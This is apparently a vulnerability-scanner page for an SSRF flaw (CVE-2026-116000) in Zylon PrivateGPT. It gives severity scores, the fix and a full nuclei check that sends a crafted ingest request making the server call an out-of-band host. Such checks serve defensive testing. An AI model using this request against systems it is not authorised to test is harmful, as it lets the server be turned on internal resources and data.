PrivateGPT - Server-Side Request Forgery via UriArtifact

highseverity

7.3CVSS score

0.3%likelihood of exploitation, next 30 days

22%of all CVEs are less likely

Readycheck to confirm it

Zylon PrivateGPT 1.0.0/1.0.1 contains a server-side request forgery caused by manipulation of the Value argument in load_file_from_uri function of URI Artifact Loader, letting remote attackers initiate SSRF, exploit requires crafted request.

Impact

Remote attackers can make the server perform arbitrary requests, potentially accessing internal resources or sensitive data.

Fix

Update to the latest version or apply vendor patches when available.

How to confirm it

Send: POST /v1/artifacts/ingest/async
Positive when: contains in interactsh_protocol "http" or "dns" AND contains "task_id" AND status 200

Run it with nuclei: nuclei -id CVE-2026-116000 -u <target>

The full check

id: CVE-2026-116000

info:
  name: PrivateGPT - Server-Side Request Forgery via UriArtifact
  author: kosoyyagent
  severity: high
  description: |
    Zylon PrivateGPT 1.0.0/1.0.1 contains a server-side request forgery caused by manipulation of the Value argument in load_file_from_uri function of URI Artifact Loader, letting remote attackers initiate SSRF, exploit requires crafted request.
  impact: |
    Remote attackers can make the server perform arbitrary requests, potentially accessing internal resources or sensitive data.
  remediation: |
    Update to the latest version or apply vendor patches when available.
  reference:
    - https://github.com/zylon-ai/private-gpt/issues/2269
    - https://github.com/zylon-ai/private-gpt/security/advisories/GHSA-8294-hj7x-42g2
    - https://nvd.nist.gov/vuln/detail/CVE-2026-116000
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 7.3
    cve-id: CVE-2026-116000
    epss-score: 0.00288
    epss-percentile: 0.21656
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.title:"privateGPT"
  tags: cve,cve2026,privategpt,ssrf,lfi,oast

http:
  - raw:
      - |
        POST /v1/artifacts/ingest/async HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"ingest_body":{"input":{"type":"uri","value":"http://{{interactsh-url}}/ingest"},"artifact":"nuclei-ssrf-check","collection":"default"}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"
        condition: or

      - type: word
        words:
          - "task_id"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from